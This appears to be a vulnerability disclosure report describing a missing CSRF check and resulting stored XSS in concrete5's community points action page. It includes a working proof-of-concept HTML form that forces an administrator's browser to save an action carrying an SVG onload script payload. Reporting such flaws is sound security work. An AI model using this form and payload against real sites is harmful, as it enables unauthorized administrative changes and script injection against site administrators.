No CSRF protection when creating new community points actions, and related stored XSS

How it was found

crayons

The functionality to create a new community points action does not have anti-CSRF protection, and the administrator page displaying actions for which a user can be awarded community points does not have XSS protection

An attacker could craft a malicious POST request to index.php/dashboard/users/points/actions/save, which can use the credentials of a logged-in administrator to create a new action for granting points. Further, the input to the upaName and upaHandle parameters are not sanitized when being stored. For example:

<form action="http://www.jmpalktest.com/concrete5742/index.php/dashboard/users/points/actions/save" method="post">
  
  <input type="hidden" name="upaID" value="" />
  <input type="hidden" name="upaIsActive" value="1" />
  <input type="hidden" name="upaHandle" value="<sVg/OnLOaD=prompt(1)>" />
  <input type="hidden" name="upaName" value="XSS the admin2" />
  <input type="hidden" name="upaDefaultPoints" value="1000" />
  <input type="hidden" name="gBadgeID" value="" />

  <button type="submit">Csrf your site here!</button>

</form>

When the resultant data is displayed at on the Community Points page at index.php/dashboard/users/points/actions/action_saved, the stored malicious content in either upaHandle or upaName is not sanitized on output (see attached images), resulting in a stored XSS attack (with an administrator as the most likely victim), which could then be used to exploit other parts of the concrete5 control panel.